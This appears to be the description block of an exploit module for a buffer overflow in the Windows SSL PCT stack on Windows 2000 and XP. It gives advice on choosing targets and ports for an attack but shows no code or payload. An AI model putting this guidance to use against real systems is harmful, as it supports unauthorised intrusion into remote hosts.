     This module exploits a buffer overflow in the Microsoft
    Windows SSL PCT protocol stack. This code is based on Johnny
    Cyberpunk's THC release and has been tested against Windows
    2000 and Windows XP. To use this module, specify the remote
    port of any SSL service, or the port and protocol of an
    application that uses SSL. The only application protocol
    supported at this time is SMTP. You only have one chance to
    select the correct target, if you are attacking IIS, you may
    want to try one of the other exploits first (WebDAV). If
    WebDAV does not work, this more than likely means that this
    is either Windows 2000 SP4+ or Windows XP (IIS 5.0 vs IIS
    5.1). Using the wrong target may not result in an immediate
    crash of the remote system.
